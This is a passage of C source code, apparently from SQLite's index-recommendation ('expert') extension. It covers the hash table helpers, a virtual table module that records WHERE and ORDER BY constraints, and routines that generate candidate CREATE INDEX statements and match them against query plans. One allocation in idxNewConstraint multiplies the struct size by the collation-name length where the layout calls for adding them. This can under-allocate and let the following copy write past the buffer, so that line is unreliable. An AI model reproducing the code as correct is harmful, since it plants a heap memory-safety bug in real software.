*/
struct IdxScan {
IdxTable *pTab; /* Associated table object */
int iDb; /* Database containing table zTable */
i64 covering; /* Mask of columns required for cov. index */
IdxConstraint *pOrder; /* ORDER BY columns */
IdxConstraint *pEq; /* List of == constraints */
IdxConstraint *pRange; /* List of < constraints */
IdxScan *pNextScan; /* Next IdxScan object for same analysis */
};
/*
** Information regarding a single database table. Extracted from
** "PRAGMA table_info" by function idxGetTableInfo().
*/
struct IdxColumn {
char *zName;
char *zColl;
int iPk;
};
struct IdxTable {
int nCol;
char *zName; /* Table name */
IdxColumn *aCol;
IdxTable *pNext; /* Next table in linked list of all tables */
};
/*
** An object of the following type is created for each unique table/write-op
** seen. The objects are stored in a singly-linked list beginning at
** sqlite3expert.pWrite.
*/
struct IdxWrite {
IdxTable *pTab;
int eOp; /* SQLITE_UPDATE, DELETE or INSERT */
IdxWrite *pNext;
};
/*
** Each statement being analyzed is represented by an instance of this
** structure.
*/
struct IdxStatement {
int iId; /* Statement number */
char *zSql; /* SQL statement */
char *zIdx; /* Indexes */
char *zEQP; /* Plan */
IdxStatement *pNext;
};
/*
** A hash table for storing strings. With space for a payload string
** with each entry. Methods are:
**
** idxHashInit()
** idxHashClear()
** idxHashAdd()
** idxHashSearch()
*/
#define IDX_HASH_SIZE 1023
typedef struct IdxHashEntry IdxHashEntry;
typedef struct IdxHash IdxHash;
struct IdxHashEntry {
char *zKey; /* nul-terminated key */
char *zVal; /* nul-terminated value string */
char *zVal2; /* nul-terminated value string 2 */
IdxHashEntry *pHashNext; /* Next entry in same hash bucket */
IdxHashEntry *pNext; /* Next entry in hash */
};
struct IdxHash {
IdxHashEntry *pFirst;
IdxHashEntry *aHash[IDX_HASH_SIZE];
};
/*
** sqlite3expert object.
*/
struct sqlite3expert {
int iSample; /* Percentage of tables to sample for stat1 */
sqlite3 *db; /* User database */
sqlite3 *dbm; /* In-memory db for this analysis */
sqlite3 *dbv; /* Vtab schema for this analysis */
IdxTable *pTable; /* List of all IdxTable objects */
IdxScan *pScan; /* List of scan objects */
IdxWrite *pWrite; /* List of write objects */
IdxStatement *pStatement; /* List of IdxStatement objects */
int bRun; /* True once analysis has run */
char **pzErrmsg;
int rc; /* Error code from whereinfo hook */
IdxHash hIdx; /* Hash containing all candidate indexes */
char *zCandidates; /* For EXPERT_REPORT_CANDIDATES */
};
/*
** Allocate and return nByte bytes of zeroed memory using sqlite3_malloc().
** If the allocation fails, set *pRc to SQLITE_NOMEM and return NULL.
*/
static void *idxMalloc(int *pRc, int nByte){
void *pRet;
assert( *pRc==SQLITE_OK );
assert( nByte>0 );
pRet = sqlite3_malloc(nByte);
if( pRet ){
memset(pRet, 0, nByte);
}else{
*pRc = SQLITE_NOMEM;
}
return pRet;
}
/*
** Initialize an IdxHash hash table.
*/
static void idxHashInit(IdxHash *pHash){
memset(pHash, 0, sizeof(IdxHash));
}
/*
** Reset an IdxHash hash table.
*/
static void idxHashClear(IdxHash *pHash){
int i;
for(i=0; i<IDX_HASH_SIZE; i++){
IdxHashEntry *pEntry;
IdxHashEntry *pNext;
for(pEntry=pHash->aHash[i]; pEntry; pEntry=pNext){
pNext = pEntry->pHashNext;
sqlite3_free(pEntry->zVal2);
sqlite3_free(pEntry);
}
}
memset(pHash, 0, sizeof(IdxHash));
}
/*
** Return the index of the hash bucket that the string specified by the
** arguments to this function belongs.
*/
static int idxHashString(const char *z, int n){
unsigned int ret = 0;
int i;
for(i=0; i<n; i++){
ret += (ret<<3) + (unsigned char)(z[i]);
}
return (int)(ret % IDX_HASH_SIZE);
}
/*
** If zKey is already present in the hash table, return non-zero and do
** nothing. Otherwise, add an entry with key zKey and payload string zVal to
** the hash table passed as the second argument.
*/
static int idxHashAdd(
int *pRc,
IdxHash *pHash,
const char *zKey,
const char *zVal
){
int nKey = STRLEN(zKey);
int iHash = idxHashString(zKey, nKey);
int nVal = (zVal ? STRLEN(zVal) : 0);
IdxHashEntry *pEntry;
assert( iHash>=0 );
for(pEntry=pHash->aHash[iHash]; pEntry; pEntry=pEntry->pHashNext){
if( STRLEN(pEntry->zKey)==nKey && 0==memcmp(pEntry->zKey, zKey, nKey) ){
return 1;
}
}
pEntry = idxMalloc(pRc, sizeof(IdxHashEntry) + nKey+1 + nVal+1);
if( pEntry ){
pEntry->zKey = (char*)&pEntry[1];
memcpy(pEntry->zKey, zKey, nKey);
if( zVal ){
pEntry->zVal = &pEntry->zKey[nKey+1];
memcpy(pEntry->zVal, zVal, nVal);
}
pEntry->pHashNext = pHash->aHash[iHash];
pHash->aHash[iHash] = pEntry;
pEntry->pNext = pHash->pFirst;
pHash->pFirst = pEntry;
}
return 0;
}
/*
** If zKey/nKey is present in the hash table, return a pointer to the
** hash-entry object.
*/
static IdxHashEntry *idxHashFind(IdxHash *pHash, const char *zKey, int nKey){
int iHash;
IdxHashEntry *pEntry;
if( nKey<0 ) nKey = STRLEN(zKey);
iHash = idxHashString(zKey, nKey);
assert( iHash>=0 );
for(pEntry=pHash->aHash[iHash]; pEntry; pEntry=pEntry->pHashNext){
if( STRLEN(pEntry->zKey)==nKey && 0==memcmp(pEntry->zKey, zKey, nKey) ){
return pEntry;
}
}
return 0;
}
/*
** If the hash table contains an entry with a key equal to the string
** passed as the final two arguments to this function, return a pointer
** to the payload string. Otherwise, if zKey/nKey is not present in the
** hash table, return NULL.
*/
static const char *idxHashSearch(IdxHash *pHash, const char *zKey, int nKey){
IdxHashEntry *pEntry = idxHashFind(pHash, zKey, nKey);
if( pEntry ) return pEntry->zVal;
return 0;
}
/*
** Allocate and return a new IdxConstraint object. Set the IdxConstraint.zColl
** variable to point to a copy of nul-terminated string zColl.
*/
static IdxConstraint *idxNewConstraint(int *pRc, const char *zColl){
IdxConstraint *pNew;
int nColl = STRLEN(zColl);
assert( *pRc==SQLITE_OK );
pNew = (IdxConstraint*)idxMalloc(pRc, sizeof(IdxConstraint) * nColl + 1);
if( pNew ){
pNew->zColl = (char*)&pNew[1];
memcpy(pNew->zColl, zColl, nColl+1);
}
return pNew;
}
/*
** An error associated with database handle db has just occurred. Pass
** the error message to callback function xOut.
*/
static void idxDatabaseError(
sqlite3 *db, /* Database handle */
char **pzErrmsg /* Write error here */
){
*pzErrmsg = sqlite3_mprintf("%s", sqlite3_errmsg(db));
}
/*
** Prepare an SQL statement.
*/
static int idxPrepareStmt(
sqlite3 *db, /* Database handle to compile against */
sqlite3_stmt **ppStmt, /* OUT: Compiled SQL statement */
char **pzErrmsg, /* OUT: sqlite3_malloc()ed error message */
const char *zSql /* SQL statement to compile */
){
int rc = sqlite3_prepare_v2(db, zSql, -1, ppStmt, 0);
if( rc!=SQLITE_OK ){
*ppStmt = 0;
idxDatabaseError(db, pzErrmsg);
}
return rc;
}
/*
** Prepare an SQL statement using the results of a printf() formatting.
*/
static int idxPrintfPrepareStmt(
sqlite3 *db, /* Database handle to compile against */
sqlite3_stmt **ppStmt, /* OUT: Compiled SQL statement */
char **pzErrmsg, /* OUT: sqlite3_malloc()ed error message */
const char *zFmt, /* printf() format of SQL statement */
... /* Trailing printf() arguments */
){
va_list ap;
int rc;
char *zSql;
va_start(ap, zFmt);
zSql = sqlite3_vmprintf(zFmt, ap);
if( zSql==0 ){
rc = SQLITE_NOMEM;
}else{
rc = idxPrepareStmt(db, ppStmt, pzErrmsg, zSql);
sqlite3_free(zSql);
}
va_end(ap);
return rc;
}
/*************************************************************************
** Beginning of virtual table implementation.
*/
typedef struct ExpertVtab ExpertVtab;
struct ExpertVtab {
sqlite3_vtab base;
IdxTable *pTab;
sqlite3expert *pExpert;
};
typedef struct ExpertCsr ExpertCsr;
struct ExpertCsr {
sqlite3_vtab_cursor base;
sqlite3_stmt *pData;
};
static char *expertDequote(const char *zIn){
int n = STRLEN(zIn);
char *zRet = sqlite3_malloc(n);
assert( zIn[0]=='\'' );
assert( zIn[n-1]=='\'' );
if( zRet ){
int iOut = 0;
int iIn = 0;
for(iIn=1; iIn<(n-1); iIn++){
if( zIn[iIn]=='\'' ){
assert( zIn[iIn+1]=='\'' );
iIn++;
}
zRet[iOut++] = zIn[iIn];
}
zRet[iOut] = '\0';
}
return zRet;
}
/*
** This function is the implementation of both the xConnect and xCreate
** methods of the r-tree virtual table.
**
** argv[0] -> module name
** argv[1] -> database name
** argv[2] -> table name
** argv[...] -> column names...
*/
static int expertConnect(
sqlite3 *db,
void *pAux,
int argc, const char *const*argv,
sqlite3_vtab **ppVtab,
char **pzErr
){
sqlite3expert *pExpert = (sqlite3expert*)pAux;
ExpertVtab *p = 0;
int rc;
if( argc!=4 ){
*pzErr = sqlite3_mprintf("internal error!");
rc = SQLITE_ERROR;
}else{
char *zCreateTable = expertDequote(argv[3]);
if( zCreateTable ){
rc = sqlite3_declare_vtab(db, zCreateTable);
if( rc==SQLITE_OK ){
p = idxMalloc(&rc, sizeof(ExpertVtab));
}
if( rc==SQLITE_OK ){
p->pExpert = pExpert;
p->pTab = pExpert->pTable;
assert( sqlite3_stricmp(p->pTab->zName, argv[2])==0 );
}
sqlite3_free(zCreateTable);
}else{
rc = SQLITE_NOMEM;
}
}
*ppVtab = (sqlite3_vtab*)p;
return rc;
}
static int expertDisconnect(sqlite3_vtab *pVtab){
ExpertVtab *p = (ExpertVtab*)pVtab;
sqlite3_free(p);
return SQLITE_OK;
}
static int expertBestIndex(sqlite3_vtab *pVtab, sqlite3_index_info *pIdxInfo){
ExpertVtab *p = (ExpertVtab*)pVtab;
int rc = SQLITE_OK;
int n = 0;
IdxScan *pScan;
const int opmask =
SQLITE_INDEX_CONSTRAINT_EQ | SQLITE_INDEX_CONSTRAINT_GT |
SQLITE_INDEX_CONSTRAINT_LT | SQLITE_INDEX_CONSTRAINT_GE |
SQLITE_INDEX_CONSTRAINT_LE;
pScan = idxMalloc(&rc, sizeof(IdxScan));
if( pScan ){
int i;
/* Link the new scan object into the list */
pScan->pTab = p->pTab;
pScan->pNextScan = p->pExpert->pScan;
p->pExpert->pScan = pScan;
/* Add the constraints to the IdxScan object */
for(i=0; i<pIdxInfo->nConstraint; i++){
struct sqlite3_index_constraint *pCons = &pIdxInfo->aConstraint[i];
if( pCons->usable
&& pCons->iColumn>=0
&& p->pTab->aCol[pCons->iColumn].iPk==0
&& (pCons->op & opmask)
){
IdxConstraint *pNew;
const char *zColl = sqlite3_vtab_collation(pIdxInfo, i);
pNew = idxNewConstraint(&rc, zColl);
if( pNew ){
pNew->iCol = pCons->iColumn;
if( pCons->op==SQLITE_INDEX_CONSTRAINT_EQ ){
pNew->pNext = pScan->pEq;
pScan->pEq = pNew;
}else{
pNew->bRange = 1;
pNew->pNext = pScan->pRange;
pScan->pRange = pNew;
}
}
n++;
pIdxInfo->aConstraintUsage[i].argvIndex = n;
}
}
/* Add the ORDER BY to the IdxScan object */
for(i=pIdxInfo->nOrderBy-1; i>=0; i--){
int iCol = pIdxInfo->aOrderBy[i].iColumn;
if( iCol>=0 ){
IdxConstraint *pNew = idxNewConstraint(&rc, p->pTab->aCol[iCol].zColl);
if( pNew ){
pNew->iCol = iCol;
pNew->bDesc = pIdxInfo->aOrderBy[i].desc;
pNew->pNext = pScan->pOrder;
pNew->pLink = pScan->pOrder;
pScan->pOrder = pNew;
n++;
}
}
}
}
pIdxInfo->estimatedCost = 1000000.0 / (n+1);
return rc;
}
static int expertUpdate(
sqlite3_vtab *pVtab,
int nData,
sqlite3_value **azData,
sqlite_int64 *pRowid
){
(void)pVtab;
(void)nData;
(void)azData;
(void)pRowid;
return SQLITE_OK;
}
/*
** Virtual table module xOpen method.
*/
static int expertOpen(sqlite3_vtab *pVTab, sqlite3_vtab_cursor **ppCursor){
int rc = SQLITE_OK;
ExpertCsr *pCsr;
(void)pVTab;
pCsr = idxMalloc(&rc, sizeof(ExpertCsr));
*ppCursor = (sqlite3_vtab_cursor*)pCsr;
return rc;
}
/*
** Virtual table module xClose method.
*/
static int expertClose(sqlite3_vtab_cursor *cur){
ExpertCsr *pCsr = (ExpertCsr*)cur;
sqlite3_finalize(pCsr->pData);
sqlite3_free(pCsr);
return SQLITE_OK;
}
/*
** Virtual table module xEof method.
**
** Return non-zero if the cursor does not currently point to a valid
** record (i.e if the scan has finished), or zero otherwise.
*/
static int expertEof(sqlite3_vtab_cursor *cur){
ExpertCsr *pCsr = (ExpertCsr*)cur;
return pCsr->pData==0;
}
/*
** Virtual table module xNext method.
*/
static int expertNext(sqlite3_vtab_cursor *cur){
ExpertCsr *pCsr = (ExpertCsr*)cur;
int rc = SQLITE_OK;
assert( pCsr->pData );
rc = sqlite3_step(pCsr->pData);
if( rc!=SQLITE_ROW ){
rc = sqlite3_finalize(pCsr->pData);
pCsr->pData = 0;
}else{
rc = SQLITE_OK;
}
return rc;
}
/*
** Virtual table module xRowid method.
*/
static int expertRowid(sqlite3_vtab_cursor *cur, sqlite_int64 *pRowid){
(void)cur;
*pRowid = 0;
return SQLITE_OK;
}
/*
** Virtual table module xColumn method.
*/
static int expertColumn(sqlite3_vtab_cursor *cur, sqlite3_context *ctx, int i){
ExpertCsr *pCsr = (ExpertCsr*)cur;
sqlite3_value *pVal;
pVal = sqlite3_column_value(pCsr->pData, i);
if( pVal ){
sqlite3_result_value(ctx, pVal);
}
return SQLITE_OK;
}
/*
** Virtual table module xFilter method.
*/
static int expertFilter(
sqlite3_vtab_cursor *cur,
int idxNum, const char *idxStr,
int argc, sqlite3_value **argv
){
ExpertCsr *pCsr = (ExpertCsr*)cur;
ExpertVtab *pVtab = (ExpertVtab*)(cur->pVtab);
sqlite3expert *pExpert = pVtab->pExpert;
int rc;
(void)idxNum;
(void)idxStr;
(void)argc;
(void)argv;
rc = sqlite3_finalize(pCsr->pData);
pCsr->pData = 0;
if( rc==SQLITE_OK ){
rc = idxPrintfPrepareStmt(pExpert->db, &pCsr->pData, &pVtab->base.zErrMsg,
"SELECT * FROM main.%Q WHERE sample()", pVtab->pTab->zName
);
}
if( rc==SQLITE_OK ){
rc = expertNext(cur);
}
return rc;
}
static int idxRegisterVtab(sqlite3expert *p){
static sqlite3_module expertModule = {
2, /* iVersion */
expertConnect, /* xCreate - create a table */
expertConnect, /* xConnect - connect to an existing table */
expertBestIndex, /* xBestIndex - Determine search strategy */
expertDisconnect, /* xDisconnect - Disconnect from a table */
expertDisconnect, /* xDestroy - Drop a table */
expertOpen, /* xOpen - open a cursor */
expertClose, /* xClose - close a cursor */
expertFilter, /* xFilter - configure scan constraints */
expertNext, /* xNext - advance a cursor */
expertEof, /* xEof */
expertColumn, /* xColumn - read data */
expertRowid, /* xRowid - read data */
expertUpdate, /* xUpdate - write data */
0, /* xBegin - begin transaction */
0, /* xSync - sync transaction */
0, /* xCommit - commit transaction */
0, /* xRollback - rollback transaction */
0, /* xFindFunction - function overloading */
0, /* xRename - rename the table */
0, /* xSavepoint */
0, /* xRelease */
0, /* xRollbackTo */
0, /* xShadowName */
};
return sqlite3_create_module(p->dbv, "expert", &expertModule, (void*)p);
}
/*
** End of virtual table implementation.
*************************************************************************/
/*
** Finalize SQL statement pStmt. If (*pRc) is SQLITE_OK when this function
** is called, set it to the return value of sqlite3_finalize() before
** returning. Otherwise, discard the sqlite3_finalize() return value.
*/
static void idxFinalize(int *pRc, sqlite3_stmt *pStmt){
int rc = sqlite3_finalize(pStmt);
if( *pRc==SQLITE_OK ) *pRc = rc;
}
/*
** Attempt to allocate an IdxTable structure corresponding to table zTab
** in the main database of connection db. If successful, set (*ppOut) to
** point to the new object and return SQLITE_OK. Otherwise, return an
** SQLite error code and set (*ppOut) to NULL. In this case *pzErrmsg may be
** set to point to an error string.
**
** It is the responsibility of the caller to eventually free either the
** IdxTable object or error message using sqlite3_free().
*/
static int idxGetTableInfo(
sqlite3 *db, /* Database connection to read details from */
const char *zTab, /* Table name */
IdxTable **ppOut, /* OUT: New object (if successful) */
char **pzErrmsg /* OUT: Error message (if not) */
){
sqlite3_stmt *p1 = 0;
int nCol = 0;
int nTab = STRLEN(zTab);
int nByte = sizeof(IdxTable) + nTab + 1;
IdxTable *pNew = 0;
int rc, rc2;
char *pCsr = 0;
int nPk = 0;
rc = idxPrintfPrepareStmt(db, &p1, pzErrmsg, "PRAGMA table_xinfo=%Q", zTab);
while( rc==SQLITE_OK && SQLITE_ROW==sqlite3_step(p1) ){
const char *zCol = (const char*)sqlite3_column_text(p1, 1);
nByte += 1 + STRLEN(zCol);
rc = sqlite3_table_column_metadata(
db, "main", zTab, zCol, 0, &zCol, 0, 0, 0
);
nByte += 1 + STRLEN(zCol);
nCol++;
nPk += (sqlite3_column_int(p1, 5)>0);
}
rc2 = sqlite3_reset(p1);
if( rc==SQLITE_OK ) rc = rc2;
nByte += sizeof(IdxColumn) * nCol;
if( rc==SQLITE_OK ){
pNew = idxMalloc(&rc, nByte);
}
if( rc==SQLITE_OK ){
pNew->aCol = (IdxColumn*)&pNew[1];
pNew->nCol = nCol;
pCsr = (char*)&pNew->aCol[nCol];
}
nCol = 0;
while( rc==SQLITE_OK && SQLITE_ROW==sqlite3_step(p1) ){
const char *zCol = (const char*)sqlite3_column_text(p1, 1);
int nCopy = STRLEN(zCol) + 1;
pNew->aCol[nCol].zName = pCsr;
pNew->aCol[nCol].iPk = (sqlite3_column_int(p1, 5)==1 && nPk==1);
memcpy(pCsr, zCol, nCopy);
pCsr += nCopy;
rc = sqlite3_table_column_metadata(
db, "main", zTab, zCol, 0, &zCol, 0, 0, 0
);
if( rc==SQLITE_OK ){
nCopy = STRLEN(zCol) + 1;
pNew->aCol[nCol].zColl = pCsr;
memcpy(pCsr, zCol, nCopy);
pCsr += nCopy;
}
nCol++;
}
idxFinalize(&rc, p1);
if( rc!=SQLITE_OK ){
sqlite3_free(pNew);
pNew = 0;
}else{
pNew->zName = pCsr;
memcpy(pNew->zName, zTab, nTab+1);
}
*ppOut = pNew;
return rc;
}
/*
** This function is a no-op if *pRc is set to anything other than
** SQLITE_OK when it is called.
**
** If *pRc is initially set to SQLITE_OK, then the text specified by
** the printf() style arguments is appended to zIn and the result returned
** in a buffer allocated by sqlite3_malloc(). sqlite3_free() is called on
** zIn before returning.
*/
static char *idxAppendText(int *pRc, char *zIn, const char *zFmt, ...){
va_list ap;
char *zAppend = 0;
char *zRet = 0;
int nIn = zIn ? STRLEN(zIn) : 0;
int nAppend = 0;
va_start(ap, zFmt);
if( *pRc==SQLITE_OK ){
zAppend = sqlite3_vmprintf(zFmt, ap);
if( zAppend ){
nAppend = STRLEN(zAppend);
zRet = (char*)sqlite3_malloc(nIn + nAppend + 1);
}
if( zAppend && zRet ){
if( nIn ) memcpy(zRet, zIn, nIn);
memcpy(&zRet[nIn], zAppend, nAppend+1);
}else{
sqlite3_free(zRet);
zRet = 0;
*pRc = SQLITE_NOMEM;
}
sqlite3_free(zAppend);
sqlite3_free(zIn);
}
va_end(ap);
return zRet;
}
/*
** Return true if zId must be quoted in order to use it as an SQL
** identifier, or false otherwise.
*/
static int idxIdentifierRequiresQuotes(const char *zId){
int i;
for(i=0; zId[i]; i++){
if( !(zId[i]=='_')
&& !(zId[i]>='0' && zId[i]<='9')
&& !(zId[i]>='a' && zId[i]<='z')
&& !(zId[i]>='A' && zId[i]<='Z')
){
return 1;
}
}
return 0;
}
/*
** This function appends an index column definition suitable for constraint
** pCons to the string passed as zIn and returns the result.
*/
static char *idxAppendColDefn(
int *pRc, /* IN/OUT: Error code */
char *zIn, /* Column defn accumulated so far */
IdxTable *pTab, /* Table index will be created on */
IdxConstraint *pCons
){
char *zRet = zIn;
IdxColumn *p = &pTab->aCol[pCons->iCol];
if( zRet ) zRet = idxAppendText(pRc, zRet, ", ");
if( idxIdentifierRequiresQuotes(p->zName) ){
zRet = idxAppendText(pRc, zRet, "%Q", p->zName);
}else{
zRet = idxAppendText(pRc, zRet, "%s", p->zName);
}
if( sqlite3_stricmp(p->zColl, pCons->zColl) ){
if( idxIdentifierRequiresQuotes(pCons->zColl) ){
zRet = idxAppendText(pRc, zRet, " COLLATE %Q", pCons->zColl);
}else{
zRet = idxAppendText(pRc, zRet, " COLLATE %s", pCons->zColl);
}
}
if( pCons->bDesc ){
zRet = idxAppendText(pRc, zRet, " DESC");
}
return zRet;
}
/*
** Search database dbm for an index compatible with the one idxCreateFromCons()
** would create from arguments pScan, pEq and pTail. If no error occurs and
** such an index is found, return non-zero. Or, if no such index is found,
** return zero.
**
** If an error occurs, set *pRc to an SQLite error code and return zero.
*/
static int idxFindCompatible(
int *pRc, /* OUT: Error code */
sqlite3* dbm, /* Database to search */
IdxScan *pScan, /* Scan for table to search for index on */
IdxConstraint *pEq, /* List of == constraints */
IdxConstraint *pTail /* List of range constraints */
){
const char *zTbl = pScan->pTab->zName;
sqlite3_stmt *pIdxList = 0;
IdxConstraint *pIter;
int nEq = 0; /* Number of elements in pEq */
int rc;
/* Count the elements in list pEq */
for(pIter=pEq; pIter; pIter=pIter->pLink) nEq++;
rc = idxPrintfPrepareStmt(dbm, &pIdxList, 0, "PRAGMA index_list=%Q", zTbl);
while( rc==SQLITE_OK && sqlite3_step(pIdxList)==SQLITE_ROW ){
int bMatch = 1;
IdxConstraint *pT = pTail;
sqlite3_stmt *pInfo = 0;
const char *zIdx = (const char*)sqlite3_column_text(pIdxList, 1);
/* Zero the IdxConstraint.bFlag values in the pEq list */
for(pIter=pEq; pIter; pIter=pIter->pLink) pIter->bFlag = 0;
rc = idxPrintfPrepareStmt(dbm, &pInfo, 0, "PRAGMA index_xInfo=%Q", zIdx);
while( rc==SQLITE_OK && sqlite3_step(pInfo)==SQLITE_ROW ){
int iIdx = sqlite3_column_int(pInfo, 0);
int iCol = sqlite3_column_int(pInfo, 1);
const char *zColl = (const char*)sqlite3_column_text(pInfo, 4);
if( iIdx<nEq ){
for(pIter=pEq; pIter; pIter=pIter->pLink){
if( pIter->bFlag ) continue;
if( pIter->iCol!=iCol ) continue;
if( sqlite3_stricmp(pIter->zColl, zColl) ) continue;
pIter->bFlag = 1;
break;
}
if( pIter==0 ){
bMatch = 0;
break;
}
}else{
if( pT ){
if( pT->iCol!=iCol || sqlite3_stricmp(pT->zColl, zColl) ){
bMatch = 0;
break;
}
pT = pT->pLink;
}
}
}
idxFinalize(&rc, pInfo);
if( rc==SQLITE_OK && bMatch ){
sqlite3_finalize(pIdxList);
return 1;
}
}
idxFinalize(&rc, pIdxList);
*pRc = rc;
return 0;
}
static int idxCreateFromCons(
sqlite3expert *p,
IdxScan *pScan,
IdxConstraint *pEq,
IdxConstraint *pTail
){
sqlite3 *dbm = p->dbm;
int rc = SQLITE_OK;
if( (pEq || pTail) && 0==idxFindCompatible(&rc, dbm, pScan, pEq, pTail) ){
IdxTable *pTab = pScan->pTab;
char *zCols = 0;
char *zIdx = 0;
IdxConstraint *pCons;
unsigned int h = 0;
const char *zFmt;
for(pCons=pEq; pCons; pCons=pCons->pLink){
zCols = idxAppendColDefn(&rc, zCols, pTab, pCons);
}
for(pCons=pTail; pCons; pCons=pCons->pLink){
zCols = idxAppendColDefn(&rc, zCols, pTab, pCons);
}
if( rc==SQLITE_OK ){
/* Hash the list of columns to come up with a name for the index */
const char *zTable = pScan->pTab->zName;
char *zName; /* Index name */
int i;
for(i=0; zCols[i]; i++){
h += ((h<<3) + zCols[i]);
}
zName = sqlite3_mprintf("%s_idx_%08x", zTable, h);
if( zName==0 ){
rc = SQLITE_NOMEM;
}else{
if( idxIdentifierRequiresQuotes(zTable) ){
zFmt = "CREATE INDEX '%q' ON %Q(%s)";
}else{
zFmt = "CREATE INDEX %s ON %s(%s)";
}
zIdx = sqlite3_mprintf(zFmt, zName, zTable, zCols);
if( !zIdx ){
rc = SQLITE_NOMEM;
}else{
rc = sqlite3_exec(dbm, zIdx, 0, 0, p->pzErrmsg);
idxHashAdd(&rc, &p->hIdx, zName, zIdx);
}
sqlite3_free(zName);
sqlite3_free(zIdx);
}
}
sqlite3_free(zCols);
}
return rc;
}
/*
** Return true if list pList (linked by IdxConstraint.pLink) contains
** a constraint compatible with *p. Otherwise return false.
*/
static int idxFindConstraint(IdxConstraint *pList, IdxConstraint *p){
IdxConstraint *pCmp;
for(pCmp=pList; pCmp; pCmp=pCmp->pLink){
if( p->iCol==pCmp->iCol ) return 1;
}
return 0;
}
static int idxCreateFromWhere(
sqlite3expert *p,
IdxScan *pScan, /* Create indexes for this scan */
IdxConstraint *pTail /* range/ORDER BY constraints for inclusion */
){
IdxConstraint *p1 = 0;
IdxConstraint *pCon;
int rc;
/* Gather up all the == constraints. */
for(pCon=pScan->pEq; pCon; pCon=pCon->pNext){
if( !idxFindConstraint(p1, pCon) && !idxFindConstraint(pTail, pCon) ){
pCon->pLink = p1;
p1 = pCon;
}
}
/* Create an index using the == constraints collected above. And the
** range constraint/ORDER BY terms passed in by the caller, if any. */
rc = idxCreateFromCons(p, pScan, p1, pTail);
/* If no range/ORDER BY passed by the caller, create a version of the
** index for each range constraint. */
if( pTail==0 ){
for(pCon=pScan->pRange; rc==SQLITE_OK && pCon; pCon=pCon->pNext){
assert( pCon->pLink==0 );
if( !idxFindConstraint(p1, pCon) && !idxFindConstraint(pTail, pCon) ){
rc = idxCreateFromCons(p, pScan, p1, pCon);
}
}
}
return rc;
}
/*
** Create candidate indexes in database [dbm] based on the data in
** linked-list pScan.
*/
static int idxCreateCandidates(sqlite3expert *p){
int rc = SQLITE_OK;
IdxScan *pIter;
for(pIter=p->pScan; pIter && rc==SQLITE_OK; pIter=pIter->pNextScan){
rc = idxCreateFromWhere(p, pIter, 0);
if( rc==SQLITE_OK && pIter->pOrder ){
rc = idxCreateFromWhere(p, pIter, pIter->pOrder);
}
}
return rc;
}
/*
** Free all elements of the linked list starting at pConstraint.
*/
static void idxConstraintFree(IdxConstraint *pConstraint){
IdxConstraint *pNext;
IdxConstraint *p;
for(p=pConstraint; p; p=pNext){
pNext = p->pNext;
sqlite3_free(p);
}
}
/*
** Free all elements of the linked list starting from pScan up until pLast
** (pLast is not freed).
*/
static void idxScanFree(IdxScan *pScan, IdxScan *pLast){
IdxScan *p;
IdxScan *pNext;
for(p=pScan; p!=pLast; p=pNext){
pNext = p->pNextScan;
idxConstraintFree(p->pOrder);
idxConstraintFree(p->pEq);
idxConstraintFree(p->pRange);
sqlite3_free(p);
}
}
/*
** Free all elements of the linked list starting from pStatement up
** until pLast (pLast is not freed).
*/
static void idxStatementFree(IdxStatement *pStatement, IdxStatement *pLast){
IdxStatement *p;
IdxStatement *pNext;
for(p=pStatement; p!=pLast; p=pNext){
pNext = p->pNext;
sqlite3_free(p->zEQP);
sqlite3_free(p->zIdx);
sqlite3_free(p);
}
}
/*
** Free the linked list of IdxTable objects starting at pTab.
*/
static void idxTableFree(IdxTable *pTab){
IdxTable *pIter;
IdxTable *pNext;
for(pIter=pTab; pIter; pIter=pNext){
pNext = pIter->pNext;
sqlite3_free(pIter);
}
}
/*
** Free the linked list of IdxWrite objects starting at pTab.
*/
static void idxWriteFree(IdxWrite *pTab){
IdxWrite *pIter;
IdxWrite *pNext;
for(pIter=pTab; pIter; pIter=pNext){
pNext = pIter->pNext;
sqlite3_free(pIter);
}
}
/*
** This function is called after candidate indexes have been created. It
** runs all the queries to see which indexes they prefer, and populates
** IdxStatement.zIdx and IdxStatement.zEQP with the results.
*/
int idxFindIndexes(
sqlite3expert *p,
char **pzErr /* OUT: Error message (sqlite3_malloc) */
){
IdxStatement *pStmt;
sqlite3 *dbm = p->dbm;
int rc = SQLITE_OK;
IdxHash hIdx;
idxHashInit(&hIdx);
for(pStmt=p->pStatement; rc==SQLITE_OK && pStmt; pStmt=pStmt->pNext){
IdxHashEntry *pEntry;
sqlite3_stmt *pExplain = 0;
idxHashClear(&hIdx);
rc = idxPrintfPrepareStmt(dbm, &pExplain, pzErr,
"EXPLAIN QUERY PLAN %s", pStmt->zSql
);
while( rc==SQLITE_OK && sqlite3_step(pExplain)==SQLITE_ROW ){
/* int iId = sqlite3_column_int(pExplain, 0); */
/* int iParent = sqlite3_column_int(pExplain, 1); */
/* int iNotUsed = sqlite3_column_int(pExplain, 2); */
const char *zDetail = (const char*)sqlite3_column_text(pExplain, 3);
int nDetail;
int i;
if( !zDetail ) continue;
nDetail = STRLEN(zDetail);
for(i=0; i<nDetail; i++){
const char *zIdx = 0;
if( i+13<nDetail && memcmp(&zDetail[i], " USING INDEX ", 13)==0 ){
zIdx = &zDetail[i+13];
}else if( i+22<nDetail
&& memcmp(&zDetail[i], " USING COVERING INDEX ", 22)==0
){
zIdx = &zDetail[i+22];
}
if( zIdx ){
const char *zSql;
int nIdx = 0;
while( zIdx[nIdx]!='\0' && (zIdx[nIdx]!=' ' || zIdx[nIdx+1]!='(') ){
nIdx++;
}
zSql = idxHashSearch(&p->hIdx, zIdx, nIdx);
if( zSql ){
idxHashAdd(&rc, &hIdx, zSql, 0);
if( rc ) goto find_indexes_out;
}
break;
}
}
if( zDetail[0]!='-' ){
pStmt->zEQP = idxAppendText(&rc, pStmt->zEQP, "%s\n", zDetail);
}
}
for(pEntry=hIdx.pFirst; pEntry; pEntry=pEntry->pNext){
pStmt->zIdx = idxAppendText(&rc, pStmt->zIdx, "%s;\n", pEntry->zKey);
}
idxFinalize(&rc, pExplain);
}
find_indexes_out:
idxHashClear(&hIdx);
return rc;
}
static int idxAuthCallback(
void *pCtx,
int eOp,
const char *z3,
const char *z4,
const char *zDb,
const char *zTrigger
){
int rc = SQLITE_OK;
(void)z4;
(void)zTrigger;
if( eOp==SQLITE_INSERT || eOp==SQLITE_UPDATE || eOp==SQLITE_DELETE ){
if( sqlite3_stricmp(zDb, "main")==0 ){
sqlite3expert *p = (sqlite3expert*)pCtx;
IdxTable *pTab;
for(pTab=p->pTable; pTab; pTab=pTab->pNext){
if( 0==sqlite3_stricmp(z3, pTab->zName) ) break;
}
